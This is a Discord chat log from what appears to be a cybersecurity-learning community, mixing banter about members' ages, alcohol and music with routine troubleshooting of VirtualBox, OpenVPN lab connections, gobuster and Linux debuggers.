general

[jade ocean]

I doubt it

[sick lance]

Muiri is only 22.

[pallid lotus]

Just turned 23

[sick lance]

Ok, he had a birthday.

[pallid lotus]

They do tend to happen occasionally.

[shadow loom]

omg just a wee baby still then

plenty of years left before the chronic backpain sets in

[pallid lotus]

I feel ancient

[sick lance]

Nah, after 21 they start becoming anniversaries.

[pallid lotus]

I mean, at your age they're basically giving thanks for still being alive

[twin ridge]

Gave +1 Rep to @sick lance (current: #1 - 2440)

[sick lance]

Oi.

[jade ocean]

At your age they are celebrations of life as per your request.

[pallid lotus]

Lmfao, when did you overtake James?

[sick lance]

Uh...

March/April

[pallid lotus]

... Fuck I'm getting old

[jade ocean]

You got old

[pallid lotus]

Wheesht

[shadow loom]

no you're not stfu

[sick lance]

I still want the car for most rep.

[shadow loom]

half of your life ago I was your age

you're not old

shush

[sick lance]

James argues he was top rep for longer, but he can't drive legally.

[pallid lotus]

I mean, I'm a senior pentester with a mortgage. I feel ancient

[jade ocean]

With your eyesight can you?

[sick lance]

Yes. 🙂

[pallid lotus]

Nice one

[shadow loom]

Señor Pen Tester is not an official title, Muiri

smh my head

[pallid lotus]

Eh?

[woven frost]

do you use arch btw?

[pallid lotus]

Tell that to my contract

[jade ocean]

How much was lasic in the uk? Did you have enough in your pension that month left?

[pallid lotus]

Healthcare is free in the UK

[sick lance]

Wat?

[jade ocean]

Yes but that is less funny and lasic is elective so idk if it is free

[jade ocean]

I'm saying you're old in a convoluted way

[boreal scarab]

Would anyone like rocket fuel?

[pallid lotus]

It's prescribed for stuff like cataracts. Not sure if it is for elective strengthening

[sick lance]

Oh...

I thought you had a new and original joke, my bad,

[dull portal]

https://tenor.com/view/drunk-gif-24788965

[jade ocean]

Where I live it is usually elective

[sick lance]

It's the same old drivel.

[shut hawk]

super excited to switch to adult healthcare

[gray sonnet]

Soot! Hai!

[jade ocean]

POV: you grandkids when you talk

[jade ocean]

Yoooooo

[sick lance]

I don't have any grand children...

[gray sonnet]

How've you been?

[jade ocean]

Really? at your age? Tell your daughters to hurry up, soon enough you might not be there to meet the grandkids

[pallid lotus]

You expected originality from the younger generation?

... Whose side am I on here?

[sick lance]

I was hoping he'd have some, but no 😦

[jade ocean]

Good good, currently doing everything except for homework (Axioms are the bane of my existence)

[sick lance]

It's like Zeeshan 2.0

[gray sonnet]

oof, you should do homework

[sick lance]

I can help you do your homework, I can mute you until it's done

[jade ocean]

You two are surprisingly aware for your age

[buoyant tree]

Oi Verum, did you finish Spider-Man

[jade ocean]

Nooooo please it is so bad and I'm copying anyways

[pallid lotus]

I mean, after the work week I've had I'm honestly amazed I'm not blithering in the corner

[jade ocean]

I don't know enough about you to make fun of you properly

[sick lance]

https://tenor.com/view/hot-fuzz-shame-gif-26273082

[jade ocean]

See what I mean everyone? "Blithering"?

[pallid lotus]

Yes yes, not every young person is a brain dead literary dunce. Some of us can still speak

[jade ocean]

I know more than most however I am very nice so I don't share anything

[grizzled sonnet]

🇸 🇰 🇮 🇧 🇮 🇩 🇮

[shut hawk]

knew somebody was gonna say it

[jade ocean]

"us"?

[shut hawk]

yh g no 🧢

[pallid lotus]

Hey, I'm in my early 20s. If I'm old then so are you 🤷‍♂️

[jade ocean]

I'm younger than you.

[shut hawk]

you're all old in my eyes

[jade ocean]

I'm in my teens

[pallid lotus]

I just understood that. Just. I think

[marble totem]

how old then?

[pallid lotus]

Clearly

[sick lance]

Why are you posting this in multiple channels?

[jade ocean]

||17||

[jade ocean]

Ouch

[pallid lotus]

Look through the last half hour and take a guess

[sick lance]

They're 19, with an emotional age of 12.

[jade ocean]

Fair enough but ouch

[marble totem]

im younger😃

[pallid lotus]

I'll give you a hint. It's less than 14

[loud marlin]

@sick lance
https://www.youtube.com/watch?v=UQe0AebpJgM is that you?

[jade ocean]

I'm not 19

[jade ocean]

[sick lance]

I'm going to assume they're English.

[shut hawk]

well at least he asked nicely...

[loud marlin]

brits

[pallid lotus]

In typical British fashion

[buoyant tree]

I always laugh at this video

[jade ocean]

Scrubz is Scottish not just any common brit

His accent is significantly more annoying

And funny

[pallid lotus]

Oooooooooooh, now you've done it

[loud marlin]

they all sound same for me

[sick lance]

Nah.

[shut hawk]

"Sorry can you repeat that?"

[sick lance]

Muiri and I sound different.

[jade ocean]

Well I'm pretty sure Muiri is American so that makes sense

[pallid lotus]

Oh you dick

[jade ocean]

I just knew it would get you mad

So worth it

[pallid lotus]

Lemme at 'em

Scrubz gimme my mute powers back lmfao

[jade ocean]

NOOO DONT

PLEASE

[pallid lotus]

-mute @jade ocean 1y

RIP my Yag 😦

[sick lance]

https://tenor.com/view/lotr-lord-of-the-rings-theoden-king-of-rohan-you-have-no-power-here-gif-4952489

[jade ocean]

Scrubz you know that was very funny don't censor my free "make fun of british people" right!!!

[jade ocean]

Jesus I was scared for a second

[pallid lotus]

They murdered my boy 😦

[jade ocean]

POV: You're talking to Scrubz irl

[sick lance]

Would you still have yag powers?

[shut hawk]

https://tenor.com/view/aslan-i-was-there-when-it-was-written-the-chronicles-of-narnia-narnia-lion-gif-21389732

[pallid lotus]

No

[jade ocean]

POV: Scrubz in church

[sick lance]

Bold to assume I attend church...

[pallid lotus]

Bold to assume he can enter a church unscathed

[shut hawk]

still recovering from that awful bus trip

[sick lance]

More like it!

[jade ocean]

Sorry, POV: Scrubz in Phys class studying the big bang

[sick lance]

I'd say have a drink...

[shut hawk]

oi you!

[devout palm]

https://tenor.com/view/among-us-mungus-neck-neck-break-neck-snap-gif-18599860

[shut hawk]

happy with my water 🤣

[pallid lotus]

He's British, you can say that anyway

[pallid lotus]

Bad

Find vodka

[shut hawk]

didnt improve my outlook on children much

[pallid lotus]

Vodka good

[shut hawk]

bad

[pallid lotus]

Is such a thing possible?

[shut hawk]

I had my first taste of vodak couple weeks back, with apple

[jade ocean]

No Vodka bad Vodka Orange good

[shut hawk]

never again ty tasted like hand sanitiser

[pallid lotus]

What did you mix it with?

[shut hawk]

apple juice

[jade ocean]

Sounds like what fuel would taste like

[pallid lotus]

An interesting choice

[jade ocean]

Or Acetone

[devout palm]

Pure vodka is not good

[pallid lotus]

Try lemonade and orange or blackcurrent

[sick lance]

Blackcurrant is good with vodka.

[jade ocean]

Such an adult thing to say

[pallid lotus]

Hey, at least we're old enough to drink 🤷‍♂️

[devout palm]

Yes, at least! Shh

[jade ocean]

Yes but can you ever relive the magical experience of drinking in a public park surrounded by other drunk teens trying to drown their music and not fight them without being called a pedo? I didn't think so.

[shut hawk]

mkay

[pallid lotus]

Ew. Why on earth would I want to be in a park with drunk teens?

[shut hawk]

it was fairly cheap tho, so take that as you will

[pallid lotus]

Sober teens are bad enough, let alone drunk ones

[devout palm]

Fr. Get your beer and solve some tryhackme rooms

[shut hawk]

wheres the xkcd?!

[jade ocean]

I don't mean british teens, I mean teens from.. well anywhere else

[blazing granite]

no point, no complexity no depth

[jade ocean]

real

[shut hawk]

you're 19?

[pallid lotus]

Nah, children suck pretty much universally 🤷‍♂️

[jade ocean]

God damn Adults

[jade ocean]

no

[pallid lotus]

He's 13, turning 14 soon

[jade ocean]

Well it's fun when you are, in fact, a child

[pallid lotus]

With the maturity of a 12 year old

[jade ocean]

I'm 17

[jade ocean]

Yes

[pallid lotus]

Nah, don't believe you

[shut hawk]

srs? whens your month?

[jade ocean]

Barely

[jade ocean]

The month julius caeser died

same day too

[blazing granite]

damn professional if you want I'm a Certified Sommelier from The Court Of Master Sommelier so it's kind of my thing 🙂

[shut hawk]

im older by a year 😎

[jade ocean]

I am.

[pallid lotus]

Nah

[shut hawk]

i think

[jade ocean]

I mean that for you, booze is for flavour, and that kind of thing just isn't the purpose of drinking for most non adults

[jade ocean]

Oldy

[shut hawk]

wiser

[jade ocean]

Unlikely

[shut hawk]

https://tenor.com/view/pondering-pondering-my-orb-my-orb-orb-pondering-my-pondering-my-orb-orb-gif-24060364

[devout palm]

I look like 15 y.o

[shut hawk]

are you american or british

or other

[jade ocean]

POV: @sick lance looking at a spinning orb

[jade ocean]

other

[shut hawk]

ahh was gonna ask about A-levels, fair

[sick lance]

Israel?

[jade ocean]

I finished high school

[devout palm]

is real

[pallid lotus]

Nah

[jade ocean]

Unfortunetly

[jade ocean]

Yes, A year early and I'm in uni

I'm a fucking prodigy frfr

[shut hawk]

HUH

https://tenor.com/view/hmm-suspect-gif-22611582

[devout palm]

Kids need education smh

[shadow loom]

cap

[shadow loom]

We don't need no education...

We don't need no thought control

[jade ocean]

I believe I was the highest ranking 14 year old on THM at some point

[blazing granite]

first if you aren't 18 or 21 depends where you live. You shouldn't be drinking at all, second don't appreciate the work of the producers and just drink alcohol to get drunk it's the best way to alcoholism and that sucks for the person and family and friends. So yes I'm all about educate people so they can enjoy alcohol and drink responsibly

[normal fable]

https://tenor.com/view/pink-floyd-gif-25578568

[devout palm]

I see. Your old

[pallid lotus]

Is it bad I'm old enough to know the origin of these...?

[loud marlin]

that's why ppl end up with face tattoos

[shadow loom]

it either means you're old or you have good taste (koRn)

[devout palm]

But we will we will rock you!

[pallid lotus]

I do have good taste

... and am old

[shadow loom]

not old

bro

[loud marlin]

that is not korn... for a start

[shadow loom]

you're literally Gen Z

[pallid lotus]

Positively ancient

[shadow loom]

Gen Z are still kids

[normal fable]

experienced*

[jade ocean]

Can't I do it for fun? can't people in general drink for fun? I don't buy good Alcohol for a reason (except for single malt I adore it)

[shut hawk]

1984?

[pallid lotus]

Pink Floyd lmfao

[blazing granite]

you don't need to be old, you need to have taste for good music and a bit of culture 😉

[jade ocean]

1964 more likely

[shut hawk]

i tried

[loud marlin]

https://www.youtube.com/watch?v=qs35t2xFqdU

[marble totem]

wait you cant see everyone's age right?

[shadow loom]

koRn made a cover of it that I like

[shut hawk]

https://www.tomshardware.com/pc-components/thermal-paste/cooler-master-introduces-colored-ai-thermal-paste-cryofuze-5-comes-with-nano-diamond-technology

[azure gazelle]

Is there an issue with openvpn again? adding the data-ciphers line fix isn't working and I can't find anything different.

[shadow loom]

it's not the original no

[shut hawk]

time to get me some AI thermal paste 😎

[jade ocean]

No but I was 12 worldwide and the other people were all oldies

[loud marlin]

cover then it is... not original... we old ppl do like original more =/

[shadow loom]

No ofc not original

that's why I said either really old or have good taste

😛

[pallid lotus]

In fairness... I knew the original

Haven't seen the korn version

[shadow loom]

https://open.spotify.com/track/39SHjPPvNVW2H9rSsGGOPD?si=7958bd930e24417a ❤️

[loud marlin]

ya miss nothing

[shadow loom]

OI

TAKETHATBACK

[jade ocean]

You waited in line to get the tape!

[loud marlin]

https://tenor.com/view/slap-gif-25249881

[pallid lotus]

LP*

[jade ocean]

Thanks

[twin ridge]

Gave +1 Rep to @pallid lotus (current: #9 - 769)

[jade ocean]

Fuck

Unthanks

[pallid lotus]

[devout palm]

Free rep ez

[pallid lotus]

He walked straight into it

[kind adder]

hey guys i am having problem accessing internet with my vm
can someone help me with that

[blazing granite]

Appreciate a product is fun for me, and for many people also you don't have to break your bank to find good stuff, the problem is when the only "fun" you can get from alcohol is getting drunk, that's not a good precedent

[normal vessel]

any mods around? i wanna verify my sec+ so I can have that added to my profile

[jade ocean]

At least I can still walk straight...

[pallid lotus]

Oi, @sick lance old man, you're up

[devout palm]

LMAO

[pallid lotus]

... that... doesn't mean what you think it does kiddo

[shut hawk]

blog post is getting a bit out of hand

[jade ocean]

You're right.

[blazing granite]

AI fever 😂

[sick lance]

Dm me a screenshot without doxing you.

or can I join their server

[devout palm]

When you realize you are not a mod anymore 😔

[pallid lotus]

Nah, I love ordering them around

[jade ocean]

No I think YOU don't knowwhat that means.

[shut hawk]

https://tenor.com/view/card-no-u-wave-uno-card-gif-15455638

[pallid lotus]

Oh, I do. You are way too young to have that particular experience though

[jade ocean]

Hey! Treat your elders with respect!

[twin ridge]

➕ Gave the role Sec+ to heapheaus

[devout palm]

Dude, he is ancient

[shadow loom]

Muiri was one of the sane mods way back when

[jade ocean]

Okay now I give up, I am so confused.

[shadow loom]

Whenever Dark wanted to ban me for poking THM Muiri was there ❤️

[crude stump]

Ain’t muiri 40 some

[devout palm]

When?

[pallid lotus]

You are so innocent

[pallid lotus]

23 ya dick

[jade ocean]

They both are

[crude stump]

😂

[jade ocean]

Nah Scrubz is

50 some

[shut hawk]

The first stage is denial..

[jade ocean]

He was a mod..

[devout palm]

Then acceptance

[shadow loom]

he was indeed

[jade ocean]

Not so sure about the sane part

[shadow loom]

[pallid lotus]

I mean, I'm not gonna dispute that bit

[jade ocean]

Or was that James? I'm not sure which one, but I was terrified of one of them

[shadow loom]

kekw

[pallid lotus]

You should have been terrified of both of us smh

[sick lance]

Probably James.

It was good cop, bad cop.

[shadow loom]

james is cool

[jade ocean]

Lemme check

[sick lance]

It was fun when they switched.

[jade ocean]

I once got muted for a week by one of them

[pallid lotus]

James is, and always has been, a total straight shooter, He just doesn't put up with BS.
Me? I like playing games

[shut hawk]

told you - not sane at all

[jade ocean]

It was Hydra.

[devout palm]

I'm glad you rickrolled James

[crude stump]

Hydra is chill

[pallid lotus]

You know James is one of the only people who has rickrolled me, right?

[sick lance]

Hydra is our new lead mentor,

[jade ocean]

Fuck me

[devout palm]

Because you are his only frend?

[sick lance]

James is great too.

[shut hawk]

No, thank you

[twin ridge]

Gave +1 Rep to @jade ocean (current: #75 - 85)

[shut hawk]

dammit

[pallid lotus]

Probably a good decision that

[jade ocean]

Damn top 75

I am so good

[shut hawk]

I have!

[devout palm]

Damn Robocop lol

[pallid lotus]

Have you?

When?

[shut hawk]

holup lemme find it

I may be capping

[pallid lotus]

It has happened a couple of times 🤷‍♂️

But me? I have thousands 😁

[sick lance]

Oh man...

When @night prairie put a rick roll in his CV and sent it to recruiters

[sick lance]

Still counts up.

[jade ocean]

Wait genuine question, are you James?

[pallid lotus]

Nah

[blazing granite]

like I always say, I'm probably the oldest here 😂

[devout palm]

Lol seriously?

[pallid lotus]

James is English

[shut hawk]

blasphemy

[shadow loom]

Muiri I need to tell you a story and it'll probably be a long one. You see, on my way back from home right, I drive past this random abandonned warehouse and as I drive past it, in the door I see a man trying to... Read more

[shut hawk]

Not pedantic enough

[devout palm]

NT

[pallid lotus]

How dumb do you think I am?

[jade ocean]

You brits are all the same

[naive violet]

Indeed

[sick lance]

How long have you been lurking?

[crude stump]

Luckily discord has my back

[jade ocean]

Please god not long please

[pallid lotus]

You actually clicked it?

[shut hawk]

#general message
ahh dammit

[pallid lotus]

Since when does Discord support expanding long messages lmfao

[shut hawk]

If you upload a file it does

[jade ocean]

I don't think answering that is very smart long term.

[crude stump]

💀

[shut hawk]

But not with that prompt

[crude stump]

Stop judging me

[devout palm]

It'd be a good update tho

[sick lance]

Nah, I don't want to read essays...

[crude stump]

I did 😞

[sick lance]

https://tenor.com/view/sigh-le-sad-cat-gif-16777715376630435814

[blazing granite]

it's like Beetlejuice people said his name too many times 😂 😛

[pallid lotus]

Bahahahahhaha, yeah, I remember that.

[shut hawk]

(as example,)

[pallid lotus]

Tbf, you were really unlucky there

[shut hawk]

clearly it just wasn't meant to be 😔

soon ™️

[devout palm]

||Never gonna give you up||

[shut hawk]

in other news, signed up for CCNA

feel like my networking skills have been slacking way to much

having finished A-levels, got around 3 months of free time

[normal fable]

Nice! Go Jayy!

[buoyant tree]

Congrats

[sand trench]

HAPPY MIDSUMMER

[devout palm]

Happy weekend

[rustic totem]

Hi .....someone plz help me with kali linux not opening in full screen mode in vbox 🥲

[normal fable]

Do you mean that when you fullscreen the window it doesn't resize the guest?

Yep. Just go to view > auto resize guest display

[tight elm]

plpease i need help

[normal fable]

make sure you have the guest additions installed.

[tight elm]

in the room Snort Challenge - The Basics

i can't finish it

[normal fable]

I believe so yes.

[tight elm]

i preety sure there is issue in the Room

[normal fable]

I just install from ISO. Haven't used the prebuilt VM in a while.

[tight elm]

Investigate the log file.

What is the destination address of packet 63?

please any help

[normal fable]

#room-help

[rustic totem]

Tried all of that .... isn't working

[boreal scarab]

Anyone play Phasmaphobia here?

[rustic totem]

Installing the iso

No ...after installation it's still not working in any way

[crude stump]

I’ve had that happen before

[rustic totem]

Yes ....my old kali machine works fine in full screen.....this new one isn't working ....

[crude stump]

Usually Kali downloads the guest additions as it’s downloading.

[rustic totem]

What did u do?

[crude stump]

I clicked the expand button

Then it fit the whole screen

It starts off not but when you minimize and then expand it should fit

Atleast for me that worked

[rustic totem]

Tried that too 😭

[pliant cairn]

this is the second time this happened today with me

[crude stump]

You might have to reinstall Kali

Do the process over again

Or

[rustic totem]

This is the 4th time I reinstalled 🥲

[crude stump]

You can try to manually download the guest additions if you don’t have that downloaded already

[rustic totem]

[pliant cairn]

what is actually happening?

[crude stump]

Kali isn’t full screen

[pliant cairn]

vbox?

[crude stump]

Idk

[rustic totem]

Yes

[pliant cairn]

you need to insert the cd with utils

[rustic totem]

Already did

[pliant cairn]

so you got the mount show up?

[rotund jacinth]

isn't there an open-vm-tools package for vmware? i remember that i wasn't able to insert guest additions bc of some error

[rustic totem]

Yes

[rotund jacinth]

oh vbox mb

[crude stump]

That’s why I said try to reinstall

It could have left guest additions out

[rustic totem]

I reinstalled 4 times

[crude stump]

Black_kat

Go into settings

And look at I think it says drives or somthing

It shows disks

Does it say guest additions?

[loud marlin]

and you need add user into vb group

[pliant cairn]

i first faced this back in backtrack days. i was not so old that time. and here we are still strugling with the same issue.

times don't change at all isnt it

[crude stump]

Tbh downloading Kali is very troublesome

You either get it to work the first time

[loud marlin]

do torrent file. is better

[pliant cairn]

just get the ovm lol

[pallid lotus]

There's another option?

[pliant cairn]

parrot is great

[crude stump]

Or you don’t

[crude stump]

Hm

[rustic totem]

I just deleted the whole machine in frustration!! I need to add again first to check:')

[pliant cairn]

get the ovm

[crude stump]

Also maybe follow a video. I first tried downloading Kali on my own and Idk what the hell I did but I totally broke it.

[pliant cairn]

tbh its not that hard. just read everything carefully

[crude stump]

That’s the thing lol

I’ve sped through it

[pliant cairn]

sometimes patience is the key

[crude stump]

Absolutely

[rustic totem]

Can I somehow clone a fresh copy of my another kali machine?:')

[normal fable]

I should make a video on installing Kali in vbox.

I've only done it 100+ times.. so not an expert. lol

[crude stump]

100 times is still a lot

[pliant cairn]

hyper v had made everything so simple. atleast those who get the pro.

[pliant cairn]

i would say your experience is still around beginner in that case.

kek

[marble totem]

you should be able to copy the directory containing the .vdi and .vbox files and add somewhere else

[sick lance]

Vmware can clone machines, don't know about Vbox

[loud marlin]

vbox need some extra steps

[normal fable]

You can clone machines in VBox too.

[pliant cairn]

those who are struggling with vbox i have something for you guys
||just get arch🙈 ||

[normal fable]

r-click clone -> follow prompts.

Not sure about CLI though.

[rustic totem]

Don't need an exact clone though!! Like a fresh clone .....with only the basic settings

[crude stump]

That would be default Kali no?

[normal fable]

dl the Kali VM then.

ezpz

There are extra setup steps you have to do if you install from ISO.

[rustic totem]

U're not getting my point .....just with the full screen feature

[crude stump]

I

[normal fable]

iirc the VirtualBox Kali VM comes with everythig pre-baked into it for VirtualBox..

[blazing granite]

why arch?

[crude stump]

Yes it does

Down to the tools too

[normal fable]

That would include everything you need for VBox and should include ability to fullscreen etc.

[desert shuttle]

Tomato

[normal fable]

🥔 ...

[rustic totem]

yaa that's the last plan..

[loud marlin]

if VB canrun hannah montana linux, it can run all

[blazing granite]

FreeBSD?

[crude stump]

“IM IN” as the camera pans to my Hannah Montana Linux terminal

[crude stump]

Are you even a real hacker if you’re not using Montana Linux?

I don’t think so

[loud marlin]

true true

[errant fossil]

having trouble at the first question lol

[devout palm]

Yay Google CTF, les go

[pliant cairn]

im deleting my kali. installing montana linux.

[soft forge]

Ugly ass OS

Can't be me

[errant fossil]

anyone here who did searchlight?

[loud marlin]

if you find .iso... go ahead

[crude stump]

Dissing Hannah Montana Linux is punishable by death

Hold your tongue

[soft forge]

😹lol

Cmon I prefer my Kali ngl

[pliant cairn]

does this have the songs playing on repeat and you can't even reduce the volume if you wanted to?

if yes then im installing it

[rustic totem]

U just committed a crime

[arctic cradle]

funniest storyline ever

[gloomy linden]

A very simple and generic question i am using x32/64dbg debugger and i am very happy with it but its only for windows any good debugger for Linux applications?

[rustic totem]

[knotty dome]

lmao

[arctic cradle]

GDB maybe?

[gloomy linden]

something with ui and easy to use?

[arctic cradle]

@gloomy linden you could try Hopper I guess

also does the job

[gloomy linden]

its good option but its not open source you need to pay

[arctic cradle]

have you looked at edb-debugger?

I didn't realize you wanted open source

[gloomy linden]

perfect its pretty interesting and has similarities with olly and xdbg for windows nice i will take a closer look

[arctic cradle]

great to hear, man, good luck!

[jovial musk]

where to go after web exploits basics if your into web hacking?

[sick lance]

Portswigger, thm has a few owasp rooms.

And some web app rooms.

[jovial musk]

thers no full web hacking course?

is the web basics the only thing?

[arctic cradle]

highly doubt it

[sick lance]

There is something coming soon 😉

[arctic cradle]

Scrubz, why is my progress role stuck at 0x2

[jovial musk]

like a web course?

[arctic cradle]

does it update once in X hours?

[jovial musk]

or you mean a room

[sick lance]

No, from my understanding it's a path.

[jovial musk]

so an extension to the web basics one

[sick lance]

No, a new one.

[jovial musk]

yeah i mean ure meant to take it after

not like actually an addition

right?

[boreal scarab]

DID YOU PINGU ME?!

[errant fossil]

https://tenor.com/view/definitely-maybe-romance-comedy-ryan-reynolds-yep-gif-5008341450946414225

i got it figured out

it was supposed to be sl{ready} and i put sl{yeah}

[boreal scarab]

https://tenor.com/view/proud-clapping-thats-my-boy-gif-15271329

[errant fossil]

try verifying again it should fix

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

[arctic cradle]

that worked, thanks, I forgot that /verify was a thing

[twin ridge]

Gave +1 Rep to @errant fossil (current: #637 - 6)

[errant fossil]

yw, lol yeah its very rarely used

[shut hawk]

Has any other EU person experienced an influx on 451 responses lately? (Cannot access for legal reasons, EU law and GDPR)

[rotund jacinth]

did a fresh install of kali yesterday on vmware...and copy-paste worked out of the box 🤯

[marble totem]

A few times, but not very much

[crude stump]

Awsome

[sand trench]

not really but probably dependant on what site you are going to

[tender pulsar]

I have a gobuster question for anyone who may know the answer. I was trying to do a room and was getting no where with either gobuster or dirb. I finally got really frustrated and looked at the beginning of a writeup and found that the results they were getting with gobuster where completely different than what I was getting. The commands and word lists were the exact same. The results they were getting that I wasn't was numbers for directory names (eg. 10.10.10.10/2) Directory may be the wrong term the proper name escapes me right now. I hope this makes sense.

[sand trench]

check you are using the right ip

[shell nova]

US sites?

[shut hawk]

Yeah

[shell nova]

had a few

[tender pulsar]

As far as I am aware I am.

[errant fossil]

whats infosec?

[shut hawk]

information security

[tender pulsar]

if it helps the room was Valley

[sand trench]

oooh for the number part.... yeah you need to specify the sub dir for that to work

[errant fossil]

is it a course/job?

[crude stump]

Information security is very broad

Anything information that has security goes under that title

[shut hawk]

it is a field of knowledge

https://en.wikipedia.org/wiki/Information_security

[tender pulsar]

I don't believe there was a sub directory to use. The command coppied from the writeup is sudo gobuster -u http://<ip> -w /opt/wordlists/directory-list-2.3-medium.txt now that I am looking at it again there was one difference in this command to the one I used. I didn't use sudo. but other that that it was the same

[errant fossil]

Oh That makes sense, Thanks for the info @shut hawk @crude stump

[twin ridge]

Gave +1 Rep to @shut hawk (current: #14 - 536)

[lament mantle]

Most Ruby projects use Bundler now days (see https://bundler.io), which will install gem dependencies from a Gemfile (just lists the gem and version requirements) or a Gemfile.lock file (lists specific versions that must be installed). If a Gemfile.lock doesn't exist, bundle install will generate one based on the versions it installed. Bundler ensures that all versions are compatible with all version requirements. Bundler can also be included into Ruby scripts (see bundler/inline) which will attempt to auto-install dependencies when you run the script. If you want to install a fully isolated environment (aka don't install gems globally) run bundle install --path vendor/bundle (the old way) or bundle install --standalone (installs everything into ./bundle). Fun Fact: Bundler actually inspired Python's Pipfile and Rust's Cargo.toml file. (PS: no an AI didn't write this, I just know how to Ruby real good.)

[crude stump]

Dang

[carmine bough]

Yo random question but if u have time can someone pls try and find me one of those world maps that have the flags in the countries with ocean terrain? If u find one dm me pls :3

[shut hawk]

@carmine bough

[boreal scarab]

What should I do for dinner?

[shut hawk]

funnily enough I have this image stored locally

[normal fable]

Cajun.. 🙂

[sand trench]

¯_(ツ)_/¯

[boreal scarab]

We talking a boil? or we talking gumbo?

[normal fable]

Yes

[boreal scarab]

[normal fable]

Do a boil and get gumbo.

[boreal scarab]

Place I get my boil at doesn't have gumbo. I sadge

[normal fable]

I had :usa with chili and cheese for lunch. lol
just tickles me that :usa brings up 🌭

[boreal scarab]

BREH......... The only place that has Gumbo is vegan

I blame @pallid lotus

[normal fable]

Nothing wrong with vegan food.. but I like meat.

[boreal scarab]

When I think southern, I don't think vegan, I think seafood, and meat

[normal fable]

Same

I think I'm gonna go fish this evening.. catch me some trout and put em on the smoker this weekend.

[boreal scarab]

WTF Uber.....?

I search Gumbo.... and Staples pops up

[boreal scarab]

https://tenor.com/view/sad-upset-crying-locked-up-take-me-gif-17460222

Could go to my favorite food truck, but it is rush hour

[normal fable]

lol. Just gonna do some shore fishing at the lake.. if I go at all.. that's a long walk. Couple hundred feet...

[boreal scarab]

Oh no! Not a couple hundred of feet! Whatever shall you do?!

https://tenor.com/view/touch-grass-touch-grass-gif-21734295

[normal fable]

woah now.. that's way too real. The hill is all grass. 🤣

[coarse plover]

lol i dont think ive seen the light of day in the last year

[boreal scarab]

I know!

[coarse plover]

comp sci has taken my soul

[boreal scarab]

@gray sonnet has forced me to be an inside beerrise. Nothing but HTB and THM

[coarse plover]

machines are life. I think back to the matrix movies and im thinking i wouldnt mind being in that pod

[boreal scarab]

Totally don't have https://open.spotify.com/track/3ZzxtumoIENCi16HAKuiLU?si=a1c8617cae574bfd on repeat

[quartz fog]

https://www.twitch.tv/videos/2178025954

[uneven swallow]

where can i find windows 11 arm iso for mac vm's

[clear jackal]

The Windows Insider Program I believe

[clear jackal]

You may want to ensure you can actually run the iso though. https://support.microsoft.com/en-us/windows/options-for-using-windows-11-with-mac-computers-with-apple-m1-m2-and-m3-chips-cd15fd62-9b34-4b78-b0bc-121baa3c568c

[livid sinew]

d

[shut hawk]

?

[livid sinew]

just checking if I had sub role for fun

[shadow loom]

How hard is it to study for CCNA assuming the student is a determined nerd?

[clear jackal]

I didn't take the exam, this was also the old CCNA but my networking class in school was basically CCNA prep. Class only met once a week for 3 hours and I think I did an hour or two of prep work for each session. Semester was 15? weeks and I was able to pass the courses final exam and the Cisco prep exams.

Anecdotal, maybe it will give you an idea though.

[shadow loom]

So a couple of weekends of hyper focus

Nice

[clear jackal]

Keep in mind the CCNA now is different than it was then

[shadow loom]

My company IT department wants to isolate RnD entirely because they don't have the capacity to help us grow

I'm considering the possibility of isolating them as well, basically putting up a secpnd wall from the inside

I.e. I don't want to be hit by random scans or whatever they fancy

If they wanna lock me inside, I want to lock them out too if at all feasible

[boreal scarab]

Still can't decide what I want for dinner

[errant fossil]

Cereal

[boreal scarab]

https://tenor.com/view/the-office-david-wallace-get-out-gif-25240774

[errant fossil]

[slow helm]

hey

why whenever i connect with my kali machine html pages never loads

@sick lance

[loud marlin]

thm page or room page ?

[errant fossil]

@boreal scarab FINALLYYYYYYY GOT IT

amazing room

[loud marlin]

@sand trench report 🙂 ...

[errant fossil]

Yooo what

775

[loud marlin]

shadow is better

[errant fossil]

on that grind lol

[errant fossil]

what is she at?

[boreal scarab]

https://tenor.com/view/toy-story-woody-about-time-happy-excited-gif-15811226

[loud marlin]

around 1k or so

[errant fossil]

Thank you so much, Amazing way to end the night

[twin ridge]

Gave +1 Rep to @boreal scarab (current: #30 - 268)

[slow helm]

for example the http port is open when i connect http://ip/ it never loads

[loud marlin]

you use thm vpn file?

i mean. you are connected with thm vpn? and no other vpn is active

[slow helm]

yup

and when i ping the machine

the machine seems ok

[loud marlin]

what is your MTU ? if know how to check it

[slow helm]

how can i check it

[unreal solar]

Nice

You made it ?

[loud marlin]

do ifconfig and on the interace you use is shown here

[loud marlin]

yea

[shell nova]

sounds like a vpn issue, or it wants a hostname

maybe

mtu is known to cause issues though

[sand trench]

@loud marlin

[slow helm]

how can i resolve it

i don't even use the kali machine because of this problem

[boreal scarab]

https://tenor.com/view/it-crowd-chris-o-dowd-roy-have-you-tried-turning-it-off-and-on-again-off-gif-4711577

[boreal scarab]

Lets run some trouble shooting. Can you ping it?

[slow helm]

yeah i can ping the machine

[shell nova]

if it's mtu, there should be a faq somewhere on how to resolve vpn issues

[slow helm]

i can do anything exepct connecting to http server

[shell nova]

which room?

[loud marlin]

can you run ping 10.10.10.10 -c 3 and what is respond ?

[slow helm]

[Day 18] ELF JS advent of cybersec 2019

[boreal scarab]

Couple more. Is the http server on 80 or another port?

Also, did you sudo nano /etc/hosts and add the IP and roomnamehere.thm ?

[shell nova]

that'll generally be indicated in the task, or it'll be an obvious hint

[boreal scarab]

If it's on another port than 80, you need to specify:

IP:OtherPort
Or
RoomNameHere.thm:OtherPort

[slow helm]

the problem is that the rooms do not have thm is then it's just and ip adress instead of a domain name like http://10.10.10

[slow helm]

still the same problem

[boreal scarab]

Yah, in /etc/hosts that's where you specify roomnamehere.thm

[slow helm]

i can the web page http://10.10.10.10 of thm that i'm connecting secssfully but i can't ping 10.10.10.10

[shell nova]

try this https://raw.githubusercontent.com/tryhackme/openvpn-troubleshooting/master/thm-troubleshoot

[boreal scarab]

I'll use HTB names as I've been doing a lot

10.10.10.10 mailing.htb
In /etc/hosts

[shell nova]

https://help.tryhackme.com/en/articles/6496058-troubleshooting-openvpn-on-linux-and-mac

[slow helm]

how about this one http://10.10.56.122:3000/home

[tepid furnace]

man I only got a 10 day streak

[boreal scarab]

In /etc/hosts or in your browser?

[slow helm]

in my browser

i can't connect to this site

[tepid furnace]

are you on the vpn?

[boreal scarab]

Lemme see, try what Hydra suggested, I'll fire up that room and see

[tepid furnace]

nvm just read that you can ping it

is this the only machine that's giving you trouble like this?

[slow helm]

